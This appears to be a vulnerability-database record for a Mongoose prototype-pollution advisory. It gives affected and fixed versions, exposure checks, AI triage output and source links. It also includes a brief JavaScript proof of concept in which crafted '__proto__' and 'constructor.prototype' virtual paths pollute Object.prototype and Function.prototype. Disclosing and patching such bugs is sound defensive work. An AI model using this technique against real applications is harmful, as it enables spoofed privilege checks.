{"id":"CVE-2026-125118","kind":"vulnerability","aliases":["CVE-2026-125118","GHSA-6972-9mcm-vhwj"],"related":[],"title":"Mongoose: Prototype pollution via Schema.prototype.virtual()","description":"### Summary\n\nPrototype pollution via Schema.prototype.virtual() — the 2022 fix for CVE-2022-2564 / CVE-2022-24304 protected Schema.path()/add() but never virtual(), so the same class of bug is still exploitable in all maintained release lines.\n\n### Details\n\nIn lib/schema.js, Schema.prototype.virtual() (defined at line 2643) builds the virtual path via:\n\n```javascript\nvirtuals[name] = parts.reduce(function(mem, part, i) {\nmem[part] || (mem[part] = (i === parts.length - 1)\n? new VirtualType(options, name)\n: {});\nreturn mem[part];\n}, this.tree); // lines 2755-2759\n```\n\nUnlike `path()`/`add()`, `virtual()` never received the `specialProperties` check added for CVE-2022-2564/CVE-2022-24304 (`lib/schema.js` lines 806, 1308, 1331).\n\nA path containing `__proto__`/`constructor`/`prototype` segments resolves through the prototype chain and writes onto `Object.prototype` / `Function.prototype`.\n\n### Proof of concept\n\n```javascript\nconst mongoose = require('mongoose');\nconst schema = new mongoose.Schema({});\n\nschema.virtual('__proto__.polluted');\nconsole.log(({}).polluted); // VirtualType instance\nconsole.log(Object.prototype.hasOwnProperty('polluted')); // true\nconsole.log(Object.getOwnPropertyDescriptor(\nObject.prototype, 'polluted').enumerable); // true\n\nschema.virtual('constructor.prototype.opol');\nconsole.log(({}).opol); // true\n\nschema.virtual('hasOwnProperty.__proto__.fpol');\nconsole.log((function(){}).fpol); // Function.prototype polluted\n```\n\n### Impact\n\nAttacker-influenced schema field names (dynamic schemas, CMS form builders, schema-as-code) allow pollution of Object.prototype (own, enumerable keys visible on every object — e.g. `({}).isAdmin` checks can be spoofed) and Function.prototype (a known gadget primitive in server-side JS).","summary":"Mongoose's Schema.virtual() does not block __proto__, constructor or prototype path segments, so a crafted virtual name writes onto Object.prototype and Function.prototype. An attacker who controls schema field names can make every object appear to have extra properties, such as a spoofed isAdmin flag.","severity":"medium","cvss":6.5,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"mongoose","fixed":["6.13.12"],"affected":"< 6.13.12","ecosystem":"npm"},{"name":"mongoose","fixed":["7.8.13"],"affected":">= 7.0.0, < 7.8.13","ecosystem":"npm"},{"name":"mongoose","fixed":["8.24.7"],"affected":">= 8.0.0, < 8.24.7","ecosystem":"npm"},{"name":"mongoose","fixed":["9.11.4"],"affected":">= 9.0.0, < 9.11.4","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["cwe-1321","javascript","mongoose","node.js","nodejs","package"],"not_affected_if":["no-user-controlled-field-names","static-schemas"],"how_to_check":"- Check the installed Mongoose version with `npm ls mongoose`.\n- Look for code that builds schema virtuals or field names from user-controlled or dynamic input, such as CMS form builders or schema-as-code.","fix":"- `6.13.12` on the 6.x line\n- `7.8.13` on the 7.x line\n- `8.24.7` on the 8.x line\n- `9.11.4` on the 9.x line","status":"open","published_at":"2026-11-09T23:17:22+00:00","first_seen_at":"2026-11-10T20:46:44+00:00","triaged_at":"2026-11-10T20:48:06+00:00","updated_at":"2026-11-10T21:15:58+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-11-10T20:48:06Z","model":"claude-haiku-5-5","output":{"fix":"- `6.13.12` on the 6.x line\n- `7.8.13` on the 7.x line\n- `8.24.7` on the 8.x line\n- `9.11.4` on the 9.x line","reach":"unknown","title":"Mongoose: prototype pollution through schema virtual() paths lets attackers alter objects","impact":"medium","summary":"Mongoose's Schema.virtual() does not block __proto__, constructor or prototype path segments, so a crafted virtual name writes onto Object.prototype and Function.prototype. An attacker who controls schema field names can make every object appear to have extra properties, such as a spoofed isAdmin flag.","audience":"developers","category":"package","nicknames":[],"who_cares":["mongoose","node.js","nodejs","javascript"],"confidence":0.8,"fix_status":"available","needs_auth":"unknown","worst_case":"Object prototype polluted, spoofing privilege checks across the application process","analyst_note":"","how_to_check":"- Check the installed Mongoose version with `npm ls mongoose`.\n- Look for code that builds schema virtuals or field names from user-controlled or dynamic input, such as CMS form builders or schema-as-code.","plain_action":"","product_name":"","needs_analyst":false,"not_affected_if":["static-schemas","no-user-controlled-field-names"],"who_is_affected":"Applications that use Mongoose and let attacker-influenced input set schema field or virtual names, such as dynamic schemas or form builders, are exposed. Applications with fixed schemas that do not take names from users can skip it.","user_interaction":"no","product_ecosystem":"","needs_special_setup":"yes","severity_if_unknown":"unknown"},"cost_usd":0.000843,"input_tokens":5459,"output_tokens":595,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-125118':8A,17A '-1321':23B '-2022':83C,86C,159C '-2026':7A,16A '-24304':87C '-2564':84C,160C '-2759':146C '-6972':10A '-9':11A '/add':90C '/cve-2022-24304':161C '1':135C '1308':165C '1331':166C '2022':79C '2643':115C '2755':145C '806':164C 'add':149C,156C 'allow':241C 'appear':62B 'attack':52B,227C 'attacker-influenc':226C 'block':34B 'bug':99C 'build':116C 'builder':236C 'chain':178C 'check':155C,254C 'class':97C 'cms':234C 'code':240C 'concept':186C 'console.log':199C,203C,207C,215C,220C 'const':188C,192C 'constructor':36B,171C 'constructor.prototype.opol':214C 'contain':169C 'control':54B 'craft':43B 'cve':6A,15A,82C,85C,158C 'cwe':22B 'defin':112C 'detail':108C 'dynam':232C 'e.g':252C 'enumer':211C,246C 'everi':60B,250C 'exploit':102C 'extra':65B 'field':56B,230C 'fix':80C 'flag':72B 'form':235C 'fpol':222C 'function':125C,221C 'function.prototype':50B,183C,223C,259C 'gadget':262C 'ghsa':9A 'hasownproperty.__proto__.fpol':219C 'impact':225C 'influenc':228C 'instanc':202C 'isadmin':71B,253C 'javascript':24B,121C,187C 'js':268C 'key':247C 'known':261C 'lib/schema.js':110C,162C 'line':107C,114C,144C,163C 'maintain':105C 'make':59B 'mcm':13A 'mcm-vhwj':12A 'mem':126C,129C,131C,141C 'mongoos':1A,25B,29B,189C,191C 'mongoose':18A,19A,20A,21A 'mongoose.schema':195C 'name':45B,57B,123C,139C,231C 'never':92C,151C 'new':136C,194C 'node.js':26B 'nodej':27B 'object':61B,251C 'object.getownpropertydescriptor':208C 'object.prototype':48B,182C,209C,244C 'object.prototype.hasownproperty':204C 'onto':47B,181C 'opol':216C 'option':138C 'packag':28B 'part':127C,130C,132C,142C 'parts.length':134C 'parts.reduce':124C 'path':39B,119C,148C,168C 'pollut':3A,75C,198C,200C,205C,210C,224C,242C 'primit':263C 'proof':184C 'properti':66B 'protect':88C 'proto':35B,170C,197C 'prototyp':2A,38B,74C,172C,177C 'receiv':152C 'releas':106C 'requir':190C 'resolv':174C 'return':140C 'schema':55B,193C,229C,233C,238C 'schema-as-cod':237C 'schema.path':89C 'schema.prototype.virtual':5A,77C,111C 'schema.virtual':31B,196C,213C,218C 'segment':40B,173C 'server':266C 'server-sid':265C 'side':267C 'specialproperti':154C 'spoof':70B,257C 'still':101C 'summari':73C 'this.tree':143C 'true':206C,212C,217C 'unlik':147C 'vhwj':14A 'via':4A,76C,120C 'virtual':44B,93C,118C,122C,150C 'virtualtyp':137C,201C 'visibl':248C 'write':46B,180C","nicknames":[],"mitigations":[],"who_affected":"Applications that use Mongoose and let attacker-influenced input set schema field or virtual names, such as dynamic schemas or form builders, are exposed. Applications with fixed schemas that do not take names from users can skip it.","tier":"C","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["mongoose"],"ptokens":["mongoose"],"labels":["cwe1321","javascript","medium","mongoose","nodejs","npm","package"],"campaign_type":null,"search_a":"'-125118':8A,17A '-2026':7A,16A '-6972':10A '-9':11A 'cve':6A,15A 'ghsa':9A 'mcm':13A 'mcm-vhwj':12A 'mongoos':1A 'mongoose':18A,19A,20A,21A 'pollut':3A 'prototyp':2A 'schema.prototype.virtual':5A 'vhwj':14A 'via':4A","search_b":"'-1321':23B 'appear':62B 'attack':52B 'block':34B 'constructor':36B 'control':54B 'craft':43B 'cwe':22B 'everi':60B 'extra':65B 'field':56B 'flag':72B 'function.prototype':50B 'isadmin':71B 'javascript':24B 'make':59B 'mongoos':25B,29B 'name':45B,57B 'node.js':26B 'nodej':27B 'object':61B 'object.prototype':48B 'onto':47B 'packag':28B 'path':39B 'properti':66B 'proto':35B 'prototyp':38B 'schema':55B 'schema.virtual':31B 'segment':40B 'spoof':70B 'virtual':44B 'write':46B","search_c":"'-2022':83C,86C,159C '-24304':87C '-2564':84C,160C '-2759':146C '/add':90C '/cve-2022-24304':161C '1':135C '1308':165C '1331':166C '2022':79C '2643':115C '2755':145C '806':164C 'add':149C,156C 'allow':241C 'attack':227C 'attacker-influenc':226C 'bug':99C 'build':116C 'builder':236C 'chain':178C 'check':155C,254C 'class':97C 'cms':234C 'code':240C 'concept':186C 'console.log':199C,203C,207C,215C,220C 'const':188C,192C 'constructor':171C 'constructor.prototype.opol':214C 'contain':169C 'cve':82C,85C,158C 'defin':112C 'detail':108C 'dynam':232C 'e.g':252C 'enumer':211C,246C 'everi':250C 'exploit':102C 'field':230C 'fix':80C 'form':235C 'fpol':222C 'function':125C,221C 'function.prototype':183C,223C,259C 'gadget':262C 'hasownproperty.__proto__.fpol':219C 'impact':225C 'influenc':228C 'instanc':202C 'isadmin':253C 'javascript':121C,187C 'js':268C 'key':247C 'known':261C 'lib/schema.js':110C,162C 'line':107C,114C,144C,163C 'maintain':105C 'mem':126C,129C,131C,141C 'mongoos':189C,191C 'mongoose.schema':195C 'name':123C,139C,231C 'never':92C,151C 'new':136C,194C 'object':251C 'object.getownpropertydescriptor':208C 'object.prototype':182C,209C,244C 'object.prototype.hasownproperty':204C 'onto':181C 'opol':216C 'option':138C 'part':127C,130C,132C,142C 'parts.length':134C 'parts.reduce':124C 'path':119C,148C,168C 'pollut':75C,198C,200C,205C,210C,224C,242C 'primit':263C 'proof':184C 'protect':88C 'proto':170C,197C 'prototyp':74C,172C,177C 'receiv':152C 'releas':106C 'requir':190C 'resolv':174C 'return':140C 'schema':193C,229C,233C,238C 'schema-as-cod':237C 'schema.path':89C 'schema.prototype.virtual':77C,111C 'schema.virtual':196C,213C,218C 'segment':173C 'server':266C 'server-sid':265C 'side':267C 'specialproperti':154C 'spoof':257C 'still':101C 'summari':73C 'this.tree':143C 'true':206C,212C,217C 'unlik':147C 'via':76C,120C 'virtual':93C,118C,122C,150C 'virtualtyp':137C,201C 'visibl':248C 'write':180C","cause_entry":null,"cause_path":null,"disclosures_checked_at":null,"first_public_at":"2026-11-02T19:32:44+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-6972-9mcm-vhwj","url":"https://github.com/advisories/GHSA-6972-9mcm-vhwj","severity":"medium","published_at":"2026-11-10T20:46:33+00:00","modified_at":"2026-11-10T20:46:34+00:00","first_seen_at":"2026-11-10T20:46:44+00:00","fetched_at":"2026-11-10T21:16:10+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-125118","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-125118","severity":null,"published_at":"2026-11-09T23:17:22+00:00","modified_at":"2026-11-09T23:17:22+00:00","first_seen_at":"2026-11-10T21:15:58+00:00","fetched_at":"2026-11-10T21:15:58+00:00","note":null}],"documents":[{"id":118275,"url":"https://api.github.com/repos/Automattic/mongoose/security-advisories/GHSA-6972-9mcm-vhwj","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":118276,"url":"https://github.com/Automattic/mongoose/security/advisories/GHSA-6972-9mcm-vhwj","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-11-02T19:32:44+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":118277,"url":"https://github.com/Automattic/mongoose/commit/318f7e09dd363a1dfddb8180878488dccd2796d1","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":118278,"url":"https://github.com/Automattic/mongoose/commit/74df7769b5a8d89c4413b764029911ee915ea467","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":118279,"url":"https://github.com/Automattic/mongoose/commit/7a2a6567abbb72c0430c8cc5b7942141844fecff","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":118280,"url":"https://github.com/Automattic/mongoose/commit/fb467e6d33174293dc0360649f20ce68d99117a9","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":117734,"url":"https://github.com/Automattic/mongoose/releases/tag/6.13.12","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"},{"id":117735,"url":"https://github.com/Automattic/mongoose/releases/tag/7.8.13","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"},{"id":117736,"url":"https://github.com/Automattic/mongoose/releases/tag/8.24.7","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"},{"id":117737,"url":"https://github.com/Automattic/mongoose/releases/tag/9.11.4","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"}],"disclosures":[],"exploit_sources":[],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}